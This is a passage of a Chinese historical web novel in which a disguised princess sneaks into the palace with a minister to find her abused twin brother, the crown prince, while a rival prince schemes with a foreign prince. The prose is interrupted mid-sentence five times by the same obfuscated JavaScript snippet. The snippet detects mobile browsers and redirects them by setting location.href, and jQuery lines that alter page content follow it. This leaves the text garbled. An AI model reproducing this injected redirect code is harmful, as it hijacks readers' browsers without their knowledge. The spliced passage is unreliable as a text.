周凌拍桌而起,“宁熵雀,你莫要再三挑战本王的底线。”
“周芮有什么好?京城上下谁人不知她入幕之宾多如过江之鲫,如今多少人等着看她笑话,你倒好,眼巴巴的凑上去。”
周凌怒气横生,平静片刻后,才继续劝道:“上京的贵女比周芮貌美的不是没有,等事成之后,你想要谁,本王都赐给你,若你当真喜欢周芮那身皮囊,本王也可以扒了给你,眼下她还有用,你莫再打她主意。”
宁熵雀从始至终都只有那句,“表哥,我只要她,活着的她。”
周凌被气到头晕,眼前阵阵发黑,“宁商榷,要不是看在你当年替本王受过,伤了这双腿的份上,今日本王定让你走不出王府的大门!”
“表哥想杀的人,想做的事,我都会竭尽全力让表哥满意,但是周芮……”宁商榷忽而勾唇,“我要定了。”
周凌静静的看了他许久,磅礴的怒意堆积到极点后,炸开又散去,令他心绪平静下来,“你知晓本王不会动你,所以才这般有恃无恐。”
不等宁熵雀回话,他又道:“可周芮一事,事关本王能不能坐上那个位置,你应该明白,最终的结果不是本王死,便是本王那皇兄死,为了活,为了那枚堂堂正正的玉玺,本王可以牺牲任何人,包括你。”
这番话不可谓不重,但凡圆滑玲珑些的人都知晓,此时低头才能化解这降至冰点的气氛。
“我知晓,但只要我活着一日,便定要将周芮抢到手中。”
周凌脸色瞬间阴沉,可偏偏宁熵雀毫不露怯,堂而皇之的将决心剖出来给他看。
可令他不明白的是,宁熵雀与周芮并非青梅竹马,亦没有情定终身,这般情意到底从何而来?宁熵雀的执着在他看来就是空穴来风,莫名其妙。
“阿雀,若你不是非她不可,本王或许还能考虑,可如今,无论是哪一个缘由,本王都不会将她给你。”周凌疲惫的坐下,“来人!”
从屋外急促而来的王府亲兵将宁熵雀围住,只等周凌下令。
“将南边的厢房给宁公子收拾一间出来。”
“是!”
宁熵雀动了动唇,“表哥想软禁我?”
周凌懒得再与他多话,“眼下正是多事之秋,黎王豢养私兵的事情又走漏出来风声,本王没有多余的心思去理会你的情情爱爱,把你放在身边看着,本王才能放心去对付黎王。”
他抬手,指尖轻晃。
宁熵雀失了一双腿,本就逃跑无门,除了听从安排并无他法。
不过亲兵‘护送’他去厢房前,他忽而低笑两声,“我可以听表哥的话暂且待在府中,那表哥不妨也帮我查一个人。”
“谁?”
“公主府走水前,让周芮彻夜未归之人。”
周凌刚平息的火气,‘噌’的一下有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963850|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冒出来,可再抬头时,屋内哪里还有宁熵雀的影子。
-
风月楼之事不出两日便传遍上京。
精彩程度堪比戏文,那些曾亲眼所见之人甚至借机捞了不少好处。
譬如令商贾走投无门,往日巴结不到的官宦,一听他那日人在风月楼,都会连忙将人请进来交谈一二。
如今上京乃是暴风雨前的宁静,稍有不慎便会落得个尸首无存,有关上面那几位动向的消息比万两黄金还要值钱的紧。
周芮曾想过此事会在京城引起不小风波,却不承想会闹成这般模样。
以至于她乘坐马车时,都能听见街头巷尾的谈论——
“啧,我本以为咱们那位公主殿下好男色已经是前无古人后无来者了,没想到竟然还有磨镜之好。”
“得亏陛下病重昏睡不让探望,否则不病也得被她气病了,我要是有这么个姑娘啊,不将她打死真是愧对祖宗。”
“你们有所不知吧,我家相公他姨父的姑姑在当官的家里做浣洗婆子,听她说啊,京城许多大人都等着看这位公主殿下的笑话呢,其中最解气的应该就是丞相了。”
几人坐在馄饨摊前旁若无人的交谈,并未察觉一辆马车忽然停在身旁。
马车上的人问:“哦?这是为何?”
那女子道:“据说丞相大人最看不惯公主的做派,以前天天在圣上跟前参她圣上都不管的,这下公主没有圣上护着,甚至都没人愿意跟她沾上关系,丞相可不高兴呢嘛。”
“是吗?”
几人怔愣一瞬,这才察觉到旁边忽然多了一道声音,侧头看去时,却见马车已经摇晃着走远了。
青雉怕周芮闹脾气,只能尽量打着圆场,“眼下徐相对殿下没有那般无情,昨日不还亲自送殿下回来了嘛,殿下别将那些人的话放在心上。”
“放心,我哪有这么娇气。”
青雉被噎,想说什么又被她用力咽下。
周芮掀起帷裳,“还有多久?”
“快了,再拐过前面两个巷子就到徐相家了。”
窗外天幕灰暗,太阳还未升起,只有早上出摊的店铺开门迎客。
周芮放下帷裳,心中无不忐忑。
昨日徐淮止答应带她入宫见阿樾,原本随意踏足的地方,如今再去,竟会产生一丝怯意。
今日并非是上朝的日子,但春祭将临,朝臣忙碌,三天两头便要去宫中商议琐碎。若非如此,周芮此时来此定是寻不到徐淮止的。
马车再次停在那间破败的宅子前,门前的两盏灯笼还泛着微弱的火光。
青雉道:“殿下,我去敲门。”
话音刚落,木门‘吱呀’一声被人从里边儿打开,顺玉打着哈欠踏出门外,微微侧身看向紧跟其后的男子。
紫色官袍妥帖的被他穿在身上,还未大亮的朦胧天色将他衬得极为俊美。
徐淮止冷峻的嘴角紧抿,在听见那声,“大人,好巧”之后,平静的心湖荡起一抹涟漪。
他侧头看去,少女掀起窗边帷裳,略施粉黛的清艳容色仿佛比她身后初升的日光还要扎眼。
徐淮止对顺玉吩咐道:“去拿件干净的衣裳来。”
19. 第19章
“拿衣裳做什么?”
“殿下是偷偷入宫,不乔装打扮一番怎么进去?”
周芮三更便起了,沐浴更衣、梳妆打扮耗费许多时辰,不过一个照面便被徐淮止教训了。
衣裳兜头盖脸的被徐淮止扔了过来,“换上。”
足足有两个她那般大的衣裳,布料粗糙,没有刺绣花样,瞧着与府中小厮平日里穿着的并无两样。
青雉捏住她的衣袖扯动,“殿下……”
周芮抿唇,放下帷裳后,玉指扯开腰间细带,并未发难。
徐淮止一言不发的转身,见顺玉浑然不觉,出声提醒,“转过来。”
马车有重重遮挡,若非故意并不会看见内里的景象,但顺玉还是听话的转过身来。
越是看不见,听到的声音便越是清晰。
“青雉,你说我用这根梅花金簪盘头如何?”
“殿下,你扮成小厮,用这个会不会女气了些?”
“说的也是,那你帮我将心衣再缠紧一些,免得让人瞧出来了。”
顺玉听得面红耳赤,侧头一看,却发现自家大人仍旧淡定从容,仿若什么都没听见。
周芮费劲换好衣裳后,又向顺玉借了两根木簪盘好发髻。只是那张过于精致的脸,怎么瞧都不像是服侍人的小厮。
路上,徐淮止将进宫后如何去到东宫的计划讲给周芮听:
“如今午门加强了禁军,想要入内并不容易,但只要能进去,殿下去往东宫的路上再小心些,便不会被人发现。玄武门那头禁军虽少,却临靠御花园,便是再小心,也容易被宫女内侍瞧出来。”
徐淮止看向周芮,“是非利弊殿下都知晓,想选哪一个?”
周芮在宫中居住那般多年,自然比徐淮止更加了解宫内布局,既然都有暴露的风险,那她肯定选择离东宫更近的玄武门。
她揉搓着手臂,问他:“我要如何进去?”
徐淮止从袖中拿出一个腰牌,腰牌上赫然刻着一个‘林’字,而腰牌最下方的族印彰显出这乃是皇商林家的腰牌,普天之下无人不识。
“往年春祭事宜林家也有参与,你届时拿着这块腰牌与我一同进去。”
周芮收下腰牌,又问:“那我的脸……”
说要入宫见太子的是她,全然无准备的也是她。
徐淮止似是早就料到她的秉性,知晓她除了动动嘴,什么都不会准备,是以拿出早就备好的朱砂毛笔,“殿下是自己画,还是我帮你画。”
周芮眨眨眼,“我不会丹青。”
意料之中。
徐淮止挽袖执笔,修长的手指轻轻搭在笔杆上,熟稔的将笔尖在朱砂上来回轻点。
与周芮以往见过的文人雅士无不相同。
她本以为,以徐淮止的穷苦出身,贵气二字与他并不相关,可眼下他举手投足间的温雅,竟比许多自小浸染在礼仪中的公子还要好看几分。
若不是见过他清廉拮据不懂享受的日子,周芮当真要怀疑他压根不是出身贫寒,而是哪家世族悉心教导出来的嫡子。
“殿下还要看多久?”
周芮回过神来,并未着恼,反而乖巧的将脑袋凑了过去,叮嘱道:“徐相,给本宫画好看一些。”
忽然拉近的距离,令徐淮止执笔的指尖轻轻一颤,他稳住身形,并未应承。
不过是点上一些麻疹,怎会有好看的说法。
周芮下颌微抬,闭上双眸,任由笔尖细致的点在脸上。
缓慢而平和的呼吸相互交错,周芮头一回闻到徐淮止身上淡淡的皂角香气。
世家贵族的衣裳大多用香熏过,就连常年在她身边伺候的宫人为了不让主子闻到不好的气息,也都会用香将洗过的衣裳熏上一熏。
这样的皂角香气,她几乎是头一回闻到。
淡雅别致,却又透露出一丝廉价。
就像是徐淮止这个人。
脸上的触感忽然消失,周芮迷茫睁眼,却毫无预兆的对上一张近在咫尺的薄唇。
霜寒的气息不住的从徐淮止身上传来,薄唇微动,带着一缕轻斥,“殿下,莫太过分。”
方才二人之间尚有一臂的距离,可就在周芮神游时,不知不觉间便越靠越近,近到周芮再上前一寸,便能在他的喉口落下一记湿吻。
“本宫,不是故意的。”
正要退开的周芮,忽然听见徐淮止不厌其烦的再次训斥:“你是觉着我愚笨好骗,还是我眼中的你蠢到连乔装打扮都不会。”
“便是三岁小孩也知晓如何隐藏身份,可殿下呢,锦衣华服、不会丹青……”
周芮抬眸,对上他垂落的目光,淡含的嘲讽如一双大手,彻底撕开她今日的这些小心思。
她不得不承认,徐淮止这人虽不解风情,却细致入微,着实有些门道。
眼下她还有求于他,不能与他争辩,只能咬牙退开一些。
好在徐淮止不是揪着不放之人,他侧身撂笔,只意有所指的道:“我不是你那些入幕之宾,你少将那些风月手段用在我身上。”
在他身上,周芮不是头一回吃瘪了。翻来覆去的那几句话她早已烂熟于心,眼下听着竟也不觉生气。
反正他说他的,她做她的。
除非徐淮止愿意与她合作,或是投靠到那二人的阵营中,否则她是不会放手的。
一点也不会掩藏心思的昭和公主,心中所想尽数呈于面上,徐淮止只需一眼就知道她打的什么主意。
对此,颇为心烦。
一刻钟后,马车稳稳停在玄武门外。
看守的两名禁卫军对徐淮止的马车自然万般熟悉,正疑惑今日这马车为何会来玄武门时,就见徐淮止从马车上下来,紧接着跟在他身后的,还有一名身材娇小的小公子。
那名小公子怯弱的跟在徐淮止身后,始终低着头,仿佛对周遭的一切颇为紧张。
“徐相,这位公子是……”
周芮低头拿出腰牌递上的同时,徐淮止道:“这位是林家的小公子,本官与林家有几分交情,此次春祭林家有意让他出来历练一二,还望行个方便。”
二人并不会因为徐淮止性子谦和便当真以为他是好拿捏的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993058|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是以差事要做,却不能硬来。
“原来是林小公子,不过小公子为何一直低着头?”
徐淮止道:“近日立春,他染了疹子,毁了相貌,不便见人。若你们怀疑什么……”
二人神情一紧,连连摆手,却又听徐淮止坦然道:“林四,抬头给他们二位看看。”
只见站在徐淮止身边还没他肩膀高的小公子羞愧的扬起下巴,不等二人仔细观察,又连忙垂首。
哪怕没看清模样,可那满脸红疹属实惹眼。
二人不再为难,连忙放行。
周芮紧张的跟在徐淮止身后,几乎是踩着他的后脚跟行走,生怕落后半步便被人看出异样来。
地上的影子越来越长,几乎将周芮笼罩在阴影下。
周遭景物变幻,直到听见潺潺水声,鼻尖花香越发浓烈,周芮才猜测应当已经走进御花园中。
她甫一抬头打量,却正好对上从不远处走来的太监总管陆公公的目光。
周芮心中一紧,慌张道:“徐淮止,那是陆公公,他可能会认出我来,怎么办。”
不等徐淮止回应,陆公公已经走到跟前,声音也适时响起,“大人今日怎么有兴致来这御花园逛逛了?”
御花园靠近后宫,平素不得宣召,大臣不会私自入内。徐淮止出现于此,并不寻常。
徐淮止从容道:“议事的时辰快到了,此处离东宫更近,春祭将近,祭祀人选还未落下,本官便想去看看太子殿下身子如何了。”
众所周知徐淮止从不拉帮结派,一心只为大周,是以这番话从他嘴里说出来,陆公公不得不信。
但……
“那大人身后这人是?杂家瞧他面熟的很,好似在哪儿见过。”
陆公公眼底闪过一丝精光,不动声色的想要越过徐淮止看清他身后之人的模样。
徐淮止微微侧身,挡住陆公公的目光,他的维护之意昭然若揭,明摆着就是在告诉陆公公,这人是他护着的。
周芮下意识揪住徐淮止的衣角,恨不能将脑袋埋进皮肉里。
无声的对弈只是瞬息,陆公公站直身子,搭上拂尘,笑出满脸皱褶,“杂家还要去见贵妃娘娘,就不打扰大人办事了。”
行礼后,陆公公迈着细碎的步子后退一段距离后,才转身离开。
周芮猛地松下一口气,却见徐淮止已经迈着步子离开了,她连忙紧随其后,几乎贴在他身侧时,才开口道:“徐淮止,方才谢谢你。”
陆公公不比禁卫军,她是在陆公公眼皮子底下长大的,哪怕画上满脸疹子,亦瞒不过他那一双眼睛。
徐淮止没有回应,反而加快脚步,越行越远。直到察觉身后之人并未跟上时,他才停下回头。
远处,周芮咬着唇,颇为滑稽的迈着碎步朝她走来,那长衫之下一瘸一拐的双腿让徐淮止瞬间记起她还未养好的腿伤。
等人离得近了,徐淮止又注意到棕褐衣襟下,女子白皙细腻的肌肤红了一片,似是被这粗糙的布料磨的苦不堪言。
周芮抬起双眸,莫名看向他,“怎么不走了?”
20. 第20章
徐淮止知晓她娇弱,却不承想她连粗糙衣料都穿不得。难怪在马车上,她总是坐立不安,毫无仪态的抓挠着身子。
似她这样娇贵的姑娘,若是去了乡下田间过日子,岂不是要她半条命?
从前他只是觉着周芮奢华无度是为了彰显自个儿的公主气派,如今瞧来,要怪,也该怪将她养成这副模样的人。
徐淮止别开眼,“东宫就在前头,你自行去吧。”
周芮挪动脚步,却是忽而朝着徐淮止靠近,“那我们等会在哪相见?”
从身后看去,二人的身影几乎重叠,周芮挪动的脚步与微微抬起的脑袋,放在有心人眼中可不是想要靠近小声说话,而是亲密无间。
躲在假山后的陆公公惊呼半声,便抬手捂住自个儿嘴,满眼震惊。
他是宫里的老人,又常年游走在后宫女人之间,女子的身段儿与男子本就不同,就是再乔装打扮,也逃不过他的眼睛。
惊恐消散,陆公公眼珠子提溜转动,提着长褂,踮起脚尖,小心翼翼的离开后山,朝着德贵妃的景熙宫而去。
“你说什么!”
西边几案上的紫金小炉乱了烟丝,原先侧卧在软榻上被宫女捶肩捏腿的女子猛地从榻上起身。那张依旧风姿绰约的脸上,因陆公公之言,满是惊诧。
孟春君抬手,满屋子的宫女纷纷行礼告退,只余下贴身姑姑扶她起身,缓慢朝陆公公走去,“你当真没看错?徐淮止有亲近的姑娘了?”
“杂家若不是亲眼所见,哪敢来找娘娘。”
孟春君紧紧攥住绣帕,贝齿轻咬朱唇,因着怒意上头,原先清冷寡淡的五官在瞬间鲜活过来,似一滴墨落入水缸,勾勒出世间唯一的画作。
“好你个徐淮止,本宫命人旁敲侧击那么多次,京中贵女都任你挑选了,你前头拒绝本宫,后头身边就有人了,这不是明摆着打本宫的脸吗!”
“娘娘息怒。”
“说,那女子姓甚名谁,是哪家的姑娘?”孟春君如要吃人的目光更衬得她眼角边的泪痣烨烨生辉。
陆公公犹豫道:“启禀娘娘,徐相护的紧,杂家也没看清那姑娘的模样,想来应当是从宫外来的,且看那装扮,若是京中贵女,大可不必躲躲藏藏。”
孟春君蹙眉,“你的意思是,那人有可能是民间女子?可徐淮止带一个民间女子来宫里做什么?”
这也是陆公公没想明白的地方。
“以徐淮止那软硬不吃的性子,他不会做出将民间女子带进宫里的事情,况且你说他们走的是玄武门,徐淮止是为了去看望太子……”
孟春君松开搭在林姑姑身上的手,缓慢踱步,思索着,“徐淮止与太子之间并无情意,就算是春祭将临,他怎会将目光放到一个傻子身上,是啊,他怎么看中一个傻子呢,若不是因此,那他去东宫做什么?他……”
孟春君忽而抬眸,砖头看向陆公公,凌凌杀意自眸中一闪而过,“你说,有没有可能是他身边的女人要去东宫。”
“娘娘,您的意思是,那女子不是徐相的人,而是太子的?”
孟春君深吸一口气,“本宫的意思是,一个废物太子,整个京城还有哪个女子会惦记他,且那个女子还能与徐淮止搭上线。”
陆公公经此点拨,立马明白过来,“娘娘说的是,昭和公主?”
“除了她,本宫想不到旁人。”孟春君冷笑。
“娘娘多虑了。”陆公公无奈失笑,“徐相厌恶公主殿下,这是人尽皆知的事情,从前杂家在御书房伺候圣上时,多是见着圣上因徐相数落公主的言辞而发怒,是以娘娘说的,绝不可能。”
孟春君自然听过这二人的传闻,可眼下时局动荡,她不能不多想,可见陆公公如此笃定,她也有些半信半疑起来,只得对身侧的林姑姑吩咐道:“将消息告诉黎王,让他去查查,不管那女子是谁,都极力将人拉拢过来。”
“徐淮止手握重权,底下学子众多,以陛下当年对他的宠信,也不知他手里还有什么底牌……”想到这个和周芮一样令她咬牙切齿人,孟春君就十分头疼,“先前他不贪不贿,钱权名利色,一个把柄都抓不到,眼下总算有了看得见的弱点,绝不能放过!”
-
与此同时,好不容易偷偷溜进东宫的少女猛地打了个哈欠。
这一下,立刻惊扰到端着铜盆自假山前走过的宫女。
“谁?”
周芮神情一凝,连忙躲在假山后,暗自懊恼。
“是谁在那里?”
鞋子小心翼翼踩在草丛上发出的声音令周芮心口砰砰直跳,以至于她忽略这颇为耳熟的声音。
直到脚步声忽然停止,那宫女厉声道:“我说过,你们若是再来,我便是拼了这条命不要,也不会让你们动太子殿下一下!”
“他都已经听话三日没有踏出房门了,你们还要叫他如何!”
“不管你们的主子是谁,可太子殿下还未被废,你们就不怕有朝一日,太子恢复如初,要你们的脑袋吗!”
愤怒中夹杂的泣声清晰可闻,周芮不敢置信的从假山后走出来,看向眼中含泪却惊愕不止的宫女,“你说……太子怎么了?”
周芮为何想要亲自来东宫一遭,便是她知晓她痴傻的弟弟一个人被困在这里,没有父皇母后护着,定会过的不如意。
可当她真正看见蹲在屋子里的少年时,她才知晓,原来不如意这三字,竟是对他最好的祝愿。
“殿下,公主来了。”
拿着树枝在地上写写画画的少年,肉眼可见的身子一僵,扔掉树枝毫不犹豫的朝着桌下躲去,那短短的一段路仿佛行过千万次,才让他这般熟练。
干涩的双眸猛地被泪水浸染,刺痛到周芮几乎睁不开眼。
碧色捡起树枝,同样熟稔的走到桌前蹲下,低声轻哄,“殿下,没事的,是公主来了,公主她不会伤害你的。”
双腿灌铅似的艰难往前挪动,周芮行至桌边,学着碧色的模样缓缓蹲下,她咽下喉口的滞涩,“阿樾……”
她以为她可以忍住的,可在瞧见与她的模样有七分相似的少年时,如潮水般袭来的悲拗将她击倒,溃不成军。
骨瘦嶙峋的少年被锦衣华服包裹着,凹陷的脸颊再瞧不出往日的温和宁静,他看上去像是一具干尸,仅剩的一层皮肉还是青紫交加,不知受过多少拳脚。
最严重的还是他额头上被包扎好的伤口,因着他方才的磕碰,伤口裂开,一点点在白布上晕染出血痕。他好似感受不到疼,和受惊的猫儿一样,只会蜷缩在桌下,双臂环膝,露出一双警惕惊恐的眼睛盯着她,盯着他们。
轻若鸿毛的声音哽咽着,害怕惊走了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001513|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“阿樾,是阿姊啊,阿姊来了……”
周芮试图伸手,可指尖还未靠近,周樾便瞳孔紧缩,疯了一般双手抱住脑袋,嘴里不停的喃喃着,“我是贱奴,我是贱奴,别打我,不要打我……”
‘轰’的一声,万籁俱寂,周芮脑海中一片空白,周遭阵阵晕眩,耳畔只有周樾喃喃自语的声音。
眼泪凝结成珠,又顺着脸颊落下,她浑然未觉,冷的牙齿打颤,迟迟回不过神来。
直到冰冷的掌心忽然被碧色握住,她才缓缓回过神来,“阿樾他方才……说什么?”
“殿下……”碧色哽咽到仿佛只能唤她,“殿下……”
周芮脸色煞白,“为什么?是谁?为什么……”
她的胡言乱语,她的目眦欲裂,吓到了碧色,她顾不得难过,双手死死握住周芮的掌心,只想让她冷静下来,“殿下,殿下你别吓奴婢啊……”
“为什么……”呜咽不住的从喉咙传出,嘴唇颤动了许久,周芮才艰难的又问出一句,“为什么……”
为什么要这样对他。
“自从太子殿下被困于东宫,隔三差五便有奴才打着看望的名义过来欺负他,一开始他们骂两句就走了,后来越来越不将太子放在眼里,轻则羞辱,重则打骂。”
周芮赤红着眼,嘶哑的声音仍旧在执着的问:“为什么……”
她的弟弟,是大周几百年以来,性子最温和的储君,是严于律己,从不曾犯错的太子。在这深宫之中,哪个奴才不曾被主子苛责,人人都羡慕东宫的差事,都想伺候阿樾这样的主子。
可为何夸他仁德的是他们,如今落井下石,将他的弟弟变成这样的也是他们……
“奴婢不知道他们是听从谁的吩咐,黎王还是宁王,也或许两者都有吧……”碧色吞咽着苦涩,早已流干的泪水再次模糊眼眶。
周芮这才注意到,碧色的身上也有着大大小小的伤痕。
方才一路走来,东宫冷清的和冷宫没什么两样,以往热闹的地方,如今只装着阿樾与碧色两人。
汹涌的悲痛与愤怒将她淹没,周芮一言不发的起身往外走。
碧色面露惊恐,连忙上前将人拦住,“殿下,你要干什么?”
“杀了他们!”
‘噗通’一声,碧色双膝跪地,急切劝阻,“殿下不能冲动啊,您若是有个闪失,太子殿下就真的没命了……”
“奴婢求求您了,求求您了……”碧色不停的磕头,每一下都像是一块石头,狠狠砸在周芮心口。
是啊,她如今连进宫都要扮作小厮的模样,她拿什么给阿樾出头。
就是杀了那几个欺辱他的奴才,然后呢?
真正将他变成这样的,是孟春君、是周凌、周启!
周芮深吸一口气,死死攥住的拳头猛地松开,艰涩道:“本宫知道了。”
磕头的声音停下,碧色匍匐在她脚下片刻,才缓缓抬起头,挂着满脸清泪,破涕为笑,“多谢殿下。”
周芮朝她伸出手,极力压下翻腾灼烧的情绪,“起来吧。”
这双朝着碧色伸出的手,何曾不是周芮眼下仅能给予的感谢。
碧色明白过来,缓缓将手搭上少女的掌心,突然间,一道极小极轻的声音自身后传来,“阿姊……”
周芮身躯猛地一震。
21. 第21章
她蓦然回头。
涌上心间的惊喜被周樾仍旧痴傻的憨笑浇灭。
那一声,不会是她的幻听。
可周樾痴傻两年,以往多是安静乖巧的待在一旁谁都不理,更不会唤她一声阿姊。
碧色解释道:“自从那些狗奴才常常来东宫欺辱太子殿下后,殿下便总是在身上疼的时候,喃喃唤着阿姊……”
周芮呼吸一滞,眼前如画卷展开,恍惚间她似乎看见了少年兀自蜷缩在角落,被奴才欺压的画面。
“他……是想让我救他……”
碧色看向重新将树枝捡在手里,在地上写写画画的少年,“不是的。”
周芮侧头,听见碧色艰涩道:“太子说的是……”
“阿姊……快跑。”
心脏像是被一双大手拧着,疼的她险些站不住脚。
从四面八方吹来的冷风呼呼的灌进心口,麻木了她的双腿,以至于她连自己如何走去的宫门都不知晓。
临走前,碧色的祈求仍然浮在耳畔,“若是可以,殿下能不能让人给太子送些他喜欢的吃食。”
“他们连吃食都……”
“没有,那些人虽然欺辱太子殿下,却不敢要他的命,御膳房也并未克扣膳食,是奴婢想要太子高兴一些,这样身子或许便没那么疼了。若是公主觉着为难,那奴婢再想想别的法子。”
宫门的冷风卷着残叶落到一双皂靴旁。
周芮抬眸看向徐徐走来,被一身官袍衬得挺拔如松的男子,“徐淮止,你能带我……去买些甜酒吗?”
徐淮止停在距离她三步之遥的地方,目光始终流连在她红肿的眼眶上。
破天荒的,他并未拒绝。
-
周芮不好酒,寻常也只在宫宴时抿上几滴,但周樾喜欢。
说是喜欢也不尽然。
或许是自小病弱之故,他的膳食向来清淡到没什么滋味儿,似酒这般烈性的东西,太医更是时常叮嘱不得碰。是以偶尔间周樾误将清冽的甜酒当水饮下后,便一发不可收拾。
只是被周樾藏在东宫的甜酒,都叫周芮一一搬走了。
许是双生子当真有所感应,旁人找不到的东西,周芮只需一眼就能发现端倪。好长一段时日,他们二人都因为这甜酒斗智斗勇,直到周芮当真生了气,周樾才软下性子,不再与她作对,也不曾再提及甜酒二字。
这些事,或许连周樾自个儿都不记得了,但周芮没忘。
马车上,徐淮止问:“所以殿下这酒,是给太子买的。”
周芮支着下巴,望着窗外形形色色的百姓,并未回头,“是啊,要是早知晓有今日,当年我一定不会将他埋在地里的酒都挖出来。”
“那殿下可曾想过,这酒怎么送到太子手上?”比起周芮的悲伤春秋,徐淮止则更在意此事能成功几分。
“和今日一样,或者,你还有更好的法子吗?”周芮回头,看向徐淮止。
不再故作姿态的周芮就像是褪去金箔的仙子像,剥开媚俗与华丽之后,本来的气息更叫人神往。
“若只是送东西,不难。”
不过短短时辰,他里头就好似换了个芯子般意外好说话,险些令周芮以为,他答应与赵家一同扶持太子上位,做她同盟了。
“大人、殿下,酒肆到了。”
周芮跟在徐淮止身后走下马车,从东宫带出的阴郁也随着徐淮止方才那一句话烟消云散。
酒肆门前挂着一排写着酒字的红灯笼,整齐排列的细柱遮挡着屋内的摆设,听见动静的小二率先掀开竹帘走出来,“二位客官需要些什么?”
徐淮止的目光从‘田记酒铺’四个大字上划过,“你们这儿可有甜酒?”
“有的有的,请问客人需要多少?”
徐淮止看向周芮,周芮开口道:“要两罐一斤左右的。”
小二扯下肩布极快的将手擦干净,行至写着甜字的大缸前又将布巾搭回肩上,这才按着数目为周芮盛酒。
不多时,小二笑着重回两人跟前,把封好的酒罐递到周芮手上,“一共二两二钱。”
周芮抬手欲要递上银两,忽而一只骨节分明的手拦在她身前。
是徐淮止。
“你这账,当真算清楚了?”徐淮止从容地道:“按照市价,这酒应当是一两二钱,这多出的一两是哪里来的?”
周芮自小到大鲜少有需要花银子的地方,便是有,她也有的是银子,向来不算账。
眼下小二坑银子的事情被徐淮止点出,顿如火上浇油,再次点燃周芮阴郁的心绪,“你若算不清楚,那便报官。”
“按大周律法,坑蒙拐骗者,仗则十五,罚银十两。”
二人一唱一和,小二俨然插不上话来。额头冷汗涔涔,脊背佝偻,只得将各处市价不同的道理搬出来。
酒肆纷扰之余,与它隔街而望的茶坊中,有两人将此情形,尽收眼底。
不过眨眼,留着络腮胡的大汉转回目光,对着手中清茶‘啧’了一声,“这东西,喝着没什么滋味儿。”
男人粗犷的声音引回与他对坐的目光。
周凌眼中的狐疑尽数褪去,对着跟前的男人朗笑两声,“这茶唤作碧潭飘雪,以花香为主,喝的便是一个清,与北朝的烈酒自是不能相比。”
男人嗤笑一声,“谁说的,你们大周的茶,孤听说,也是烈的很呐。”
周凌眼底疑惑一闪而过,随即明白过来,低笑道:“般和太子放心,再烈的茶,本王也有法子交到你手上,本王答应的事情,决不食言。”
“那孤,就等你的信儿了。只要那人入我北朝地界,我们往后便是一家人了,你要的兵马孤自不会少你的。”
周凌轻笑两声,举杯问盏,温润如玉的眉眼下,阴鸷一闪而过,“放心,定让般和太子,满载而归。”
般和的目光从他手上的杯盏一晃而过,并未举杯,起身叹道:“这茶,还是在过几日的宫宴上再喝吧。”
直到男人的身影消失在拐角,周凌仍旧一动不动的坐在原地。
小厮佝偻着脊背,掀起竹帘,从门外走来,“王爷,般和太子已经走了。”
话音落下的瞬间,周凌狠狠地将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014884|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茶杯撂在桌上,茶水四溢,浇灌在木桌上的热意泛起阵阵青烟。
“一个穷乡僻壤之地的太子,也敢不把本王放在眼里!”
“王爷息怒。”小厮连忙跪下。
周凌阖上双目,平复着思绪,“罢了,眼下多事之秋,便是本王与他合作不得,也不能将他推到黎王那儿去。”
“让你查的事情,如何了?”
小厮道:“派出去的人全都杳无音信。”
周凌睁眼,“杳无音信?”
周凌气笑,目光悠悠的落到瑟瑟发抖的小厮身上,“本王养你们这么久,这点事都办不好?一个入幕之宾而已,就这般难查?”
小厮将头垂的更低,“小的怀疑那人身份不凡,和公主先前的那些入幕之宾不一样。”
“少拿借口搪塞本王!”周凌起身,越过小厮往外走去,“再给你三天时间,务必将公主府走水前,周芮去见了谁查出来,否则提头来见。”
“是!”
周凌走出茶坊之际,一辆马车正晃晃悠悠的从他身边离开,朝着赵家而去。
-
已近晌午之时,炊烟袅袅,一路疾驰而过的马车似乎也沾染上饭菜香气,久久萦绕。
马车停在赵家门前,顺玉等了片刻也不见里头的人出来,但他这回学乖了,不敢再轻易探头。
“殿下还不下去?”
